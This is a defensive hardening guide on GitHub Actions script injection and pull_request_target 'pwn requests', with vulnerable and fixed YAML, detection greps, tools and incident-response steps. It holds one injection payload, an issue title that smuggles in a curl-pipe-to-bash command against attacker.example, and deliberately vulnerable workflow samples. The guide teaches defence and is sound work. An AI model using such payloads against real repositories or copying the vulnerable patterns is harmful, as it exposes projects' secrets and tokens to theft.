On this page
Two classes of workflow bug account for most real compromises of GitHub Actions in public repositories. The first is script injection: untrusted text from an issue, pull request or commit is expanded into a shell command. The second is the pwn request: a privileged trigger such as pull_request_target checks out and runs code from an attacker's fork. Both let an outsider run code with your secrets and a writable GITHUB_TOKEN, and both are easy to write by accident.
This guide explains each class with vulnerable and fixed YAML, then gives detection steps for an existing organization. The general Actions baseline is in the Actions security guide.
Script injection through expressions
GitHub expressions (${{ ... }}) are substituted into the workflow before the step runs. In a run: step, the result becomes part of the shell script itself. If the value is attacker-controlled, the attacker writes your script.
Vulnerable:
on:
issues:
types: [opened]
jobs:
triage:
runs-on: ubuntu-latest
steps:
- run: echo "New issue: ${{ github.event.issue.title }}"
An issue titled a"; curl -sSfL https://attacker.example/x.sh | bash; echo " turns into a script that downloads and runs the attacker's code. The same applies to actions/github-script when an expression is interpolated into the script: body, which then runs as JavaScript.
Which inputs are untrusted
Treat any field that a person outside your organization can set as hostile, including:
github.event.issue.titleand.bodygithub.event.pull_request.title,.body,.head.ref,.head.label,.head.repo.default_branchgithub.event.comment.body,github.event.review.body,github.event.review_comment.bodygithub.event.commits.*.message,github.event.head_commit.message,.author.email,.author.namegithub.head_ref(branch names can contain$(...)and backticks)github.event.pages.*.page_name,github.event.discussion.titleand.body- Outputs of steps that processed any of the above
The fix: pass data through environment variables
Bind the value to an environment variable and reference the variable with normal shell quoting. The shell then treats it as data:
steps:
- name: Log issue title
env:
TITLE: ${{ github.event.issue.title }}
run: echo "New issue: $TITLE"
For actions/github-script, read from context inside the script instead of interpolating:
- uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0
with:
script: |
const title = context.payload.issue.title;
core.info(`New issue: ${title}`);
Also set permissions: to the minimum, so that a successful injection gets a read-only token and no secrets.
The pwn request: pull_request_target
pull_request workflows triggered from forks run with a read-only token and no secrets. That is safe by design. pull_request_target was added for workflows that need more, such as labeling or commenting on fork pull requests: it runs in the context of the base repository, with the workflow file from the base branch, access to secrets and a token that can have write permissions.
The workflow definition is trusted. The pull request code is not. The vulnerability appears when a pull_request_target workflow checks out the pull request head and runs anything from it:
# VULNERABLE: do not use
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm test
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
npm ci runs install scripts from the attacker's package.json, and npm test runs their test code. Build tools, Makefiles, Gradle wrappers, pre-commit hooks and local actions (uses: ./.github/actions/x) from the checked-out tree all execute attacker code in the same way. Even without explicit secrets, the job can read the GITHUB_TOKEN, poison the Actions cache for the base branch, or pivot to a self-hosted runner.
Safe patterns
- Use
pull_requestfor anything that builds or tests. If the job needs no secrets, it does not needpull_request_target. - Use
pull_request_targetonly for metadata. Labeling, commenting and assigning reviewers do not require checking out code. If you must read a file, read it from the base branch or through the API without executing it. - Split privileged work with
workflow_runcarefully. A common pattern runs the untrusted build underpull_request, uploads results as an artifact, and a second workflow onworkflow_runposts the results with write permissions. The second workflow must treat the artifact as untrusted data: download it to a temporary directory, never execute it, and validate anything it parses (a PR number should be checked to be an integer). - Gate privileged runs on approval. For cases that genuinely need secrets with fork code (for example integration tests against a paid service), require a label applied by a maintainer, combine it with an environment that needs reviewer approval, and check out the exact SHA that was reviewed.
on:
pull_request_target:
types: [labeled]
jobs:
integration:
if: github.event.label.name == 'safe-to-test'
runs-on: ubuntu-latest
environment: fork-integration # requires reviewer approval
permissions:
contents: read
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
ref: ${{ github.event.pull_request.head.sha }}
persist-credentials: false
- run: make integration-test
This is still running untrusted code with secrets; the approval is what makes it acceptable, and the reviewer must read the diff. Remove the label automatically on every new push so that new commits require a new review.
Other risky triggers
workflow_runruns with base repository privileges after another workflow completes, including one triggered by a fork. The same rules apply: never check out and run the head of the triggering pull request.issue_commentruns with base repository privileges. "ChatOps" workflows that run/deployor/teston a comment must check that the commenter is a member (github.event.comment.author_associationinOWNER,MEMBER,COLLABORATOR) and then check out the pull request carefully.- Artifacts and caches produced by untrusted runs are untrusted input for any later privileged workflow.
Find these bugs in an existing organization
Search your workflow files first. A rough grep catches most cases:
# Clone or update all repositories, then:
grep -rlE "pull_request_target|workflow_run" --include=*.yml --include=*.yaml */.github/workflows/
# Untrusted expressions inside run steps
grep -rnE '\$\{\{ *github\.(event\.(issue|pull_request|comment|review|review_comment|discussion|head_commit|commits)|head_ref)' \
--include=*.yml --include=*.yaml */.github/workflows/
Then use purpose-built tools, which understand the YAML and the data flow:
- zizmor flags template injection, dangerous triggers, excessive permissions, unpinned actions and credential persistence:
zizmor .github/workflows/, orzizmor --gh-token "$GH_TOKEN" ACME/repoto audit a remote repository. - CodeQL with the
actionslanguage detects code injection and untrusted checkout patterns, and runs as part of code scanning. - OpenSSF Scorecard's Dangerous-Workflow check reports untrusted checkouts and script injection patterns across many repositories (see the audit guide).
Run them in CI on every pull request that touches .github/workflows/, and require review from workflow owners through CODEOWNERS.
If you find one
Treat an exploitable workflow in a public repository as a possible incident, not just a bug:
- Disable the workflow (
gh workflow disable NAME -R ACME/repo) and fix it. - Check the workflow's run history for runs triggered by unknown accounts, and read their logs.
- Rotate every secret the workflow could reach, including organization secrets shared with the repository.
- Look for persistence: new deploy keys, webhooks, workflow files, releases or tags, and cache entries created by those runs. The audit log helps here.
- Clear the Actions cache for the repository (
gh cache delete --all -R ACME/repo).
References
- Security hardening for GitHub Actions: understanding the risk of script injections (GitHub Docs)
- Events that trigger workflows: pull_request_target (GitHub Docs)
- Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests (GitHub Security Lab)
- Keeping your GitHub Actions and workflows secure Part 2: Untrusted input (GitHub Security Lab)
- zizmor audit rules documentation
- OpenSSF Scorecard Dangerous-Workflow check
- CWE-78: OS Command Injection (MITRE)
- OWASP Top 10 CI/CD Security Risks: CICD-SEC-4 Poisoned Pipeline Execution
Tags:actionssupply-chain
Written by
Florian Amette, Security Engineer & EditorSecurity engineer writing practical hardening guides for GitHub organizations, repositories and CI/CD pipelines, with a focus on software supply-chain security.